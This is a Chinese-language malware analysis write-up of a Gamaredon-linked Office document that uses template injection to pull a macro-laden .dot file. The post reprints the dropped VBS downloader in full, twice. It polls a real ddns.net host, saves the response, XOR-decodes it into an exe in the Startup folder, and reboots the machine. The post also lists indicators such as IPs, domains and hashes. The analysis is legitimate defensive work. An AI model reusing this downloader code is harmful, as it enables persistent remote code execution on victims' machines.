0x00 前言
样本hash:4778869cf2564b14b6bbf4baf361469a
拿到一个样本,第一件事应该是确定该样本属于哪类
我的做法一般是先拖到winhex中查看一下文件头什么的:
这里看起来是一个压缩格式的文档,由后面的item1.xml可以推测应该是office2007之后的office文档
既然基本上确定是office文档了,尝试解压一下看看:
根据以前的文档分析,这里应该是一个docx文档
更名为docx并使用office2013打开
看样子是个典型的模板注入
这里请求的地址较断,在这个页面就可以直接看到完整请求地址:
http://yotaset.ddns.net/yota.dot
0x01 分析
文档内容
看一下文档内容:
嗯 和网上之前曝光的Gamaredon组织的内容有点类似
在文档最后,留了一个电话和gmail邮箱,也稍微记录一下,万一有用呢
+380977269510, tiamoanni@gmail.com
下载dot文件
换个电脑请求一下出现的地址:
页面长这样,内容大概是说页面访问不了不拉不拉的
抱着一个怀疑的态度,暂时先考虑从其他地方去找这个yota.dot文件
尝试直接在vt上搜索yota.dot
ummm好像没有东西,那尝试搜索http://yotaset.ddns.net/yota.dot
看到上传时间是七天前,应该是本次共计所对应的
查看DETAILS选项:
那么这个文件应就是目标dot了:
下载到本地:
分析dot
将下载的文件添加dot后缀,word打开:
是一个空白的带宏代码的文档。
宏代码长如下这样:
从上往下看,程序首先是创建了两个对象
Dim uKSUBtGo
uKSUBtGo = "Set WShell=CreateObject(""WSc" + "ri" + "pt.S" + "hel" + "l"")"
Set vfKtZARk = CreateObject("WScr" + "ipt.Ne" + "two" + "rk")
wscript.shell
wscript.Network
应该分别用于执行shell以及网络请求的
然后通过代码创建Scripting.FileSystemObject对象以提供对文件系统的访问
Set wEDMwGJH = CreateObject("Sc" + "rip" + "ting.Fi" + "leSy" + "stemOb" + "ject")
接着Shellcode获取了用户计算机的信息,然后进行转换并拼接到后面的一个请求地址中
请求地址拼接出来如下:
“http://korneliuswork.ddns.net/WIN-IHN30SD7IMB_9AC9AA87//rebootor.php“
其中WIN-IHN30SD7IMB_9AC9AA87是计算机的标识
获取用户环境变量,后续应该会基于该路径释放文件
AppPaths = Environ("Appdata")
声明了两个路径,这两个路径后面会拼接到释放的文件中
接着写入了两个注册表键值
而设置该键是为了将宏标记为安全
最后就是一大串的AZSmCKHa.Write,通常来说会写入三种类型的文件,vb powershell 和js
稍微调一下代码,就可以得知恶意代码执行后会在
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
目录下释放security.vbs文件
写入完成:
释放的VB分析
先跑一下这个vbs的行为,由于vbs都是调用windows的wscript.exe执行的,这里直接监视wscript.exe即可
可以看到,Shellcode在执行过程中,不断的向%APPDATA%目录写入文件,随后又删除。
生成的文件名都是随机字符串
以及遍历文件列表的行为:
行为摸了一下,接下来看具体的代码:
Function CLDCvmeg(xhmjPnsk)
On Error Resume Next
Set GHPiNqEA = CreateObject("MSXML2.XMLHTTP")
With GHPiNqEA
.Open "GET", xhmjPnsk, False
.send
End With
If GHPiNqEA.Status = 200 Then
CLDCvmeg = GHPiNqEA.ResponseBody
End If
End Function
Function Encode( KWKhBKJb, QuByZuyg, zgVWzifW )
Dim UIzlfDOE, sRMmQeTH, LVFaTeVS, JKCjSZfP, nLGKrzOK, WDDOZIip
Const ForAppending = 8
Const ForReading = 1
Const ForWriting = 2
Const TristateFalse = 0
Const TristateMixed = -2
Const TristateTrue = -1
Const TristateUseDefault = -2
On Error Resume Next
If Not IsArray( zgVWzifW ) Then
zgVWzifW = Array( zgVWzifW )
End If
For UIzlfDOE = 0 To UBound( zgVWzifW )
If Not IsNumeric( zgVWzifW(i) ) Then
Encode = 1032
Exit Function
End If
If zgVWzifW(UIzlfDOE) < 0 Or zgVWzifW(UIzlfDOE) > 255 Then
Encode = 1031
Exit Function
End If
Next
Set sRMmQeTH = CreateObject( "Scripting.FileSystemObject" )
If sRMmQeTH.FileExists( KWKhBKJb ) Then
Set LVFaTeVS = sRMmQeTH.GetFile( KWKhBKJb )
Set nLGKrzOK = LVFaTeVS.OpenAsTextStream( ForReading, TriStateFalse )
Else
nLGKrzOK.Close
Set nLGKrzOK = Nothing
Set LVFaTeVS = Nothing
Set sRMmQeTH = Nothing
Exit Function
End If
If sRMmQeTH.FileExists( QuByZuyg ) Then
nLGKrzOK.Close
Set nLGKrzOK = Nothing
Set LVFaTeVS = Nothing
If sRMmQeTH.Fileexists( KWKhBKJb) Then sRMmQeTH.DeleteFile KWKhBKJb
Set sRMmQeTH = Nothing
Exit Function
Else
Set JKCjSZfP = sRMmQeTH.CreateTextFile( QuByZuyg, True, False )
End If
set UIzlfDOE = 0
Do Until nLGKrzOK.AtEndOfStream
For UIzlfDOE = 0 To UBound( zgVWzifW )
UIzlfDOE + 1 mod ( UBound( zgVWzifW ))
JKCjSZfP.Write Chr( Asc( nLGKrzOK.Read( 1 ) ) Xor zgVWzifW(UIzlfDOE) )
if nLGKrzOK.AtEndOfStream Then Exit Do
Next
Loop
set UIzlfDOE = 0
Do Until nLGKrzOK.AtEndOfStream
UIzlfDOE = ( UIzlfDOE + 1 ) \ ( UBound( zgVWzifW ) + 1 )
JKCjSZfP.Write Chr( Asc( nLGKrzOK.Read( 1 ) ) Xor zgVWzifW(WDDOZIip) )
UIzlfDOE=UIzlfDOE+1
If WDDOZIip<UBound( zgVWzifW ) Then
WDDOZIip=WDDOZIip+1
else WDDOZIip=0
End If
Loop
JKCjSZfP.Close
If sRMmQeTH.Fileexists(KWKhBKJb) Then sRMmQeTH.DeleteFile KWKhBKJb
nLGKrzOK.Close
Set nLGKrzOK = Nothing
Set LVFaTeVS = Nothing
Set JKCjSZfP = Nothing
Set sRMmQeTH = Nothing
On Error Goto 0
End Function
Function GetMxUZhZHN( JVVqpSiS )
Dim UIzlfDOE, zgVWzifW( )
ReDim zgVWzifW( Len( JVVqpSiS ) - 1 )
For UIzlfDOE = 0 To UBound( zgVWzifW )
zgVWzifW(UIzlfDOE) = Asc( Mid( JVVqpSiS, UIzlfDOE + 1, 1 ) )
Next
GetMxUZhZHN = zgVWzifW
End Function
Function JGFAPnao(ByVal qqKtOALe)
Dim VIkwJSQM
Const yJEHBKZk = "abcdefghijklmnopqrstuvwxyz0123456789"
Randomize
For UIzlfDOE = 1 To qqKtOALe
VIkwJSQM = VIkwJSQM & Mid(yJEHBKZk, Int(36 * Rnd + 1), 1)
Next
JGFAPnao = VIkwJSQM
End Function
Sub save(data)
Dim IDrBJtww
IDrBJtww = "1"
IDrBJtww = JGFAPnao(5)
Set VSvGvYGC = CreateObject("Scripting.FileSystemObject")
Set xIrnqUVA = CreateObject("ADODB.Stream")
On Error Resume Next
xIrnqUVA.Open
xIrnqUVA.Type = 1
xIrnqUVA.Write (data)
xIrnqUVA.Position = 0
Set VSvGvYGC = Nothing
xIrnqUVA.SaveToFile "C:\Users\Shyt\AppData\Roaming\"+ IDrBJtww +".txt"
xIrnqUVA.Close
WScript.Sleep 7273
Set yBfuPFFD = CreateObject("Scripting.FileSystemObject")
Set FBwpkCFY = yBfuPFFD.GetFile("C:\Users\Shyt\AppData\Roaming\"+ IDrBJtww +".txt")
If FBwpkCFY.Size < 12425 Then FBwpkCFY.Delete
Dim arrMxUZhZHN, oBsaEHDX
arrMxUZhZHN = GetMxUZhZHN( "9AC9AA87")
oBsaEHDX = Encode( "C:\Users\Shyt\AppData\Roaming\"+ IDrBJtww +".txt", "C:\Users\Shyt\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"+IDrBJtww+".exe", arrMxUZhZHN )
WScript.Sleep 6425
If oBsaEHDX <> 0 Then
End If
End Sub
pKeIwNCN = 1
Do While pKeIwNCN > 0
WScript.Sleep 181244
save CLDCvmeg("http://korneliuswork.ddns.net/WIN-IHN30SD7IMB_9AC9AA87//rebootor.php")
Dim YWZxbTGp, dIisjAUJ, JgEairIr, VSvGvYGC
Set CDDtmtsF = CreateObject("Scripting.FileSystemObject")
YWZxbTGp = CDDtmtsF.GetParentFolderName(WScript.ScriptFullName)
With WScript.CreateObject("Scripting.FileSystemObject")
Set sRMmQeTH = CreateObject("Scripting.FileSystemObject")
If sRMmQeTH.Fileexists("C:\Users\Shyt\AppData\Roaming\"+ IDrBJtww +".txt") Then sRMmQeTH.DeleteFile "C:\Users\Shyt\AppData\Roaming\"+ IDrBJtww +".txt"
JgEairIr = 0
For Each dIisjAUJ In .GetFolder(YWZxbTGp).Files
If UCase(.GetExtensionName(dIisjAUJ.Name)) = UCase("exe") Then
JgEairIr = JgEairIr + 1
End If
Next
If (JgEairIr > 2) Then
Dim YncDXDKj, BLxBKzNR, BLxBKzNRSheck
Set YncDXDKj = GetObject("WinMgmts:{(Shutdown,RemoteShutdown)}!\\.\Root\CIMV2:Win32_OperatingSystem")
Set BLxBKzNR = YncDXDKj.Instances_
For Each BLxBKzNRSheck In BLxBKzNR
BLxBKzNRSheck.Reboot()
Next
End If
End With
Loop
这个代码咋一看很吓人,不太清楚入口点在哪里,其实这也的代码,通常情况下入口点在最下面
这里的代码由多个function和sub组成,把这些function和sub分开,代码将会如下:
Function CLDCvmeg(xhmjPnsk)
On Error Resume Next
Set GHPiNqEA = CreateObject("MSXML2.XMLHTTP")
With GHPiNqEA
.Open "GET", xhmjPnsk, False
.send
End With
If GHPiNqEA.Status = 200 Then
CLDCvmeg = GHPiNqEA.ResponseBody
End If
End Function
Function Encode( KWKhBKJb, QuByZuyg, zgVWzifW )
Dim UIzlfDOE, sRMmQeTH, LVFaTeVS, JKCjSZfP, nLGKrzOK, WDDOZIip
Const ForAppending = 8
Const ForReading = 1
Const ForWriting = 2
Const TristateFalse = 0
Const TristateMixed = -2
Const TristateTrue = -1
Const TristateUseDefault = -2
On Error Resume Next
If Not IsArray( zgVWzifW ) Then
zgVWzifW = Array( zgVWzifW )
End If
For UIzlfDOE = 0 To UBound( zgVWzifW )
If Not IsNumeric( zgVWzifW(i) ) Then
Encode = 1032
Exit Function
End If
If zgVWzifW(UIzlfDOE) < 0 Or zgVWzifW(UIzlfDOE) > 255 Then
Encode = 1031
Exit Function
End If
Next
Set sRMmQeTH = CreateObject( "Scripting.FileSystemObject" )
If sRMmQeTH.FileExists( KWKhBKJb ) Then
Set LVFaTeVS = sRMmQeTH.GetFile( KWKhBKJb )
Set nLGKrzOK = LVFaTeVS.OpenAsTextStream( ForReading, TriStateFalse )
Else
nLGKrzOK.Close
Set nLGKrzOK = Nothing
Set LVFaTeVS = Nothing
Set sRMmQeTH = Nothing
Exit Function
End If
If sRMmQeTH.FileExists( QuByZuyg ) Then
nLGKrzOK.Close
Set nLGKrzOK = Nothing
Set LVFaTeVS = Nothing
If sRMmQeTH.Fileexists( KWKhBKJb) Then sRMmQeTH.DeleteFile KWKhBKJb
Set sRMmQeTH = Nothing
Exit Function
Else
Set JKCjSZfP = sRMmQeTH.CreateTextFile( QuByZuyg, True, False )
End If
set UIzlfDOE = 0
Do Until nLGKrzOK.AtEndOfStream
For UIzlfDOE = 0 To UBound( zgVWzifW )
UIzlfDOE + 1 mod ( UBound( zgVWzifW ))
JKCjSZfP.Write Chr( Asc( nLGKrzOK.Read( 1 ) ) Xor zgVWzifW(UIzlfDOE) )
if nLGKrzOK.AtEndOfStream Then Exit Do
Next
Loop
set UIzlfDOE = 0
Do Until nLGKrzOK.AtEndOfStream
UIzlfDOE = ( UIzlfDOE + 1 ) \ ( UBound( zgVWzifW ) + 1 )
JKCjSZfP.Write Chr( Asc( nLGKrzOK.Read( 1 ) ) Xor zgVWzifW(WDDOZIip) )
UIzlfDOE=UIzlfDOE+1
If WDDOZIip<UBound( zgVWzifW ) Then
WDDOZIip=WDDOZIip+1
else WDDOZIip=0
End If
Loop
JKCjSZfP.Close
If sRMmQeTH.Fileexists(KWKhBKJb) Then sRMmQeTH.DeleteFile KWKhBKJb
nLGKrzOK.Close
Set nLGKrzOK = Nothing
Set LVFaTeVS = Nothing
Set JKCjSZfP = Nothing
Set sRMmQeTH = Nothing
On Error Goto 0
End Function
Function GetMxUZhZHN( JVVqpSiS )
Dim UIzlfDOE, zgVWzifW( )
ReDim zgVWzifW( Len( JVVqpSiS ) - 1 )
For UIzlfDOE = 0 To UBound( zgVWzifW )
zgVWzifW(UIzlfDOE) = Asc( Mid( JVVqpSiS, UIzlfDOE + 1, 1 ) )
Next
GetMxUZhZHN = zgVWzifW
End Function
Function JGFAPnao(ByVal qqKtOALe)
Dim VIkwJSQM
Const yJEHBKZk = "abcdefghijklmnopqrstuvwxyz0123456789"
Randomize
For UIzlfDOE = 1 To qqKtOALe
VIkwJSQM = VIkwJSQM & Mid(yJEHBKZk, Int(36 * Rnd + 1), 1)
Next
JGFAPnao = VIkwJSQM
End Function
Sub save(data)
Dim IDrBJtww
IDrBJtww = "1"
IDrBJtww = JGFAPnao(5)
Set VSvGvYGC = CreateObject("Scripting.FileSystemObject")
Set xIrnqUVA = CreateObject("ADODB.Stream")
On Error Resume Next
xIrnqUVA.Open
xIrnqUVA.Type = 1
xIrnqUVA.Write (data)
xIrnqUVA.Position = 0
Set VSvGvYGC = Nothing
xIrnqUVA.SaveToFile "C:\Users\Shyt\AppData\Roaming\"+ IDrBJtww +".txt"
xIrnqUVA.Close
WScript.Sleep 7273
Set yBfuPFFD = CreateObject("Scripting.FileSystemObject")
Set FBwpkCFY = yBfuPFFD.GetFile("C:\Users\Shyt\AppData\Roaming\"+ IDrBJtww +".txt")
If FBwpkCFY.Size < 12425 Then FBwpkCFY.Delete
Dim arrMxUZhZHN, oBsaEHDX
arrMxUZhZHN = GetMxUZhZHN( "9AC9AA87")
oBsaEHDX = Encode( "C:\Users\Shyt\AppData\Roaming\"+ IDrBJtww +".txt", "C:\Users\Shyt\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"+IDrBJtww+".exe", arrMxUZhZHN )
WScript.Sleep 6425
If oBsaEHDX <> 0 Then
End If
End Sub
pKeIwNCN = 1
Do While pKeIwNCN > 0
WScript.Sleep 181244
save CLDCvmeg("http://korneliuswork.ddns.net/WIN-IHN30SD7IMB_9AC9AA87//rebootor.php")
Dim YWZxbTGp, dIisjAUJ, JgEairIr, VSvGvYGC
Set CDDtmtsF = CreateObject("Scripting.FileSystemObject")
YWZxbTGp = CDDtmtsF.GetParentFolderName(WScript.ScriptFullName)
With WScript.CreateObject("Scripting.FileSystemObject")
Set sRMmQeTH = CreateObject("Scripting.FileSystemObject")
If sRMmQeTH.Fileexists("C:\Users\Shyt\AppData\Roaming\"+ IDrBJtww +".txt") Then sRMmQeTH.DeleteFile "C:\Users\Shyt\AppData\Roaming\"+ IDrBJtww +".txt"
JgEairIr = 0
For Each dIisjAUJ In .GetFolder(YWZxbTGp).Files
If UCase(.GetExtensionName(dIisjAUJ.Name)) = UCase("exe") Then
JgEairIr = JgEairIr + 1
End If
Next
If (JgEairIr > 2) Then
Dim YncDXDKj, BLxBKzNR, BLxBKzNRSheck
Set YncDXDKj = GetObject("WinMgmts:{(Shutdown,RemoteShutdown)}!\\.\Root\CIMV2:Win32_OperatingSystem")
Set BLxBKzNR = YncDXDKj.Instances_
For Each BLxBKzNRSheck In BLxBKzNR
BLxBKzNRSheck.Reboot()
Next
End If
End With
Loop
所以执行该脚本,代码实际上会从136行,也就是pKeIwNCN = 1开始执行,然后爱下面的do Loop循环中对上面的fun进行调用。
在该脚本中,pKeIwNCN只有一次赋值,所以这里是永真循环
接着程序会将http://korneliuswork.ddns.net/WIN-IHN30SD7IMB_9AC9AA87//rebootor.php作为参数传递到CLDCvmeg函数中:
根据CLDCvmeg可得知,程序会尝试通过GET请求对传入进来的域名进行请求,如果请求成功,则将ResponseBody赋值给CLDCvmeg
而该值会作为参数传递到save函数中,在save函数中实现文件的本地保存:
save函数首先会生成一个长度为5的随机字符,这也解释了在火绒剑中行为检测看到的随机文件名的由来:
如果文件的大小小于12425,程序就会删除刚才的创建的文件
如果大于12425,说明成功从请求地址中获取到了返回值,程序就会调用Encode函数,将这个txt文件转换为exe文件
路径同vbs的释放路径:
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
接着程序遍历当前vbs执行目录下的所有文件,尝试查找exe文件
如果找到两个以上的exe文件,程序则会获取到用户计算机最后一次启动时间并将计算机重启。
现在vbs代码也分析好了,通过对vbs的分析可以知道,该样本最后应该会在本地落地并执行一个exe文件
既然这个exe文件的数据来源是
http://korneliuswork.ddns.net/WIN-IHN30SD7IMB_9AC9AA87//rebootor.php
那就写脚本下载试试
结果403了
好愁,想起之前代码是使用vbs实现的,难道我忽略了什么条件。
我也照葫芦画瓢,使用他的vbs代码实现看看
Function CLDCvmeg(xhmjPnsk)
On Error Resume Next
Set GHPiNqEA = CreateObject("MSXML2.XMLHTTP")
With GHPiNqEA
.Open "GET", xhmjPnsk, False
.send
End With
MsgBox xhmjPnsk, 48, "请求地址"
MsgBox GHPiNqEA.ResponseBody, 48, "ResponseBody"
If GHPiNqEA.Status = 200 Then
CLDCvmeg = GHPiNqEA.ResponseBody
End If
End Function
Function JGFAPnao(ByVal qqKtOALe)
Dim VIkwJSQM
Const yJEHBKZk = "abcdefghijklmnopqrstuvwxyz0123456789"
Randomize
For UIzlfDOE = 1 To qqKtOALe
VIkwJSQM = VIkwJSQM & Mid(yJEHBKZk, Int(36 * Rnd + 1), 1)
Next
JGFAPnao = VIkwJSQM
End Function
Sub save(data)
Dim IDrBJtww
IDrBJtww = "1"
IDrBJtww = JGFAPnao(5)
Set VSvGvYGC = CreateObject("Scripting.FileSystemObject")
Set xIrnqUVA = CreateObject("ADODB.Stream")
On Error Resume Next
xIrnqUVA.Open
xIrnqUVA.Type = 1
xIrnqUVA.Write (data)
xIrnqUVA.Position = 0
Set VSvGvYGC = Nothing
xIrnqUVA.SaveToFile "C:\Users\Administrator\AppData\Roaming\"+ IDrBJtww +".txt"
xIrnqUVA.Close
Set yBfuPFFD = CreateObject("Scripting.FileSystemObject")
Set FBwpkCFY = yBfuPFFD.GetFile("C:\Users\Administrator\AppData\Roaming\"+ IDrBJtww +".txt")
MsgBox FBwpkCFY, 48, "保存路径"
Dim arrMxUZhZHN, oBsaEHDX
arrMxUZhZHN = GetMxUZhZHN( "9AC9AA87")
End Sub
save CLDCvmeg("http://korneliuswork.ddns.net/WIN-IHN30SD7IMB_9AC9AA87//rebootor.php")
返回值为空
保存路径:
挂了代理之后得到返回值:
还是失败,那看来只能从其他角度入手了,想了想还是借助VT
回头来看,请求的地址是:
http://korneliuswork.ddns.net/WIN-IHN30SD7IMB_9AC9AA87//rebootor.php
那么域名就是:
http://korneliuswork.ddns.net
可以看到最后更新时间已经是8个月前了
12月份的时候一共解析了两个ip:
188.225.25.50
2.59.41.5
兄弟节点还挺多:
theweidi.ddns.net
kimusia.ddns.net
regexp.ddns.net
rafserverdell.ddns.net
elo6660.ddns.net
rdinterationalbrest.ddns.net
engine79.ddns.net
djyahia20182020.ddns.net
opqfile.ddns.net
clinicagastro.ddns.net
peakymedia.ddns.net
pplmanageraccountss.ddns.net
btcnode.ddns.net
binkar.ddns.net
wrs-freiburg.ddns.net
rldpartsa.ddns.net
projectaleshen.ddns.net
mabanquebnpmobile.ddns.net
ezrealkappapride.ddns.net
….
一共是100个,这里就不写完了,感兴趣的可以到VT上查看
而这些地址的共同点都是xxxxx.ddns.net
VT上也刚好列举了其他样本对该域名访问时的url
其中有两条和本次样本格式相同,都是域名+计算机信息+rebootor.php
在最下面还有一个downloaded files ,文件hash 9f9690fc44ad11e9959c02afb0dd936f
该文件目前vt全白,但是从文件大小来看应该不是我们要找的文件,应该是403的返回信息。
在Google上有两条搜索结果
该链接是anomali公司的一份报告
从报告可以看到该文档的确与GamaredonAPT相关联
目前有两个关联的hash:
1f185b6d28c8e87142d8fb0f8172caf56924ab1812c3dca218b7da5e01d23b54
03d46971fdf32ef2d5f647a12bfd272dd28fb58a777f025a717b6e017e64d5a3
加上当前样本的hash:
47723574d99719733f87e1859e80cfbd88c5c482428344593d2d025bf2108368
终于在一个兄弟节点下找到了三个样本:
https://www.virustotal.com/gui/domain/restored.ddns.net/relations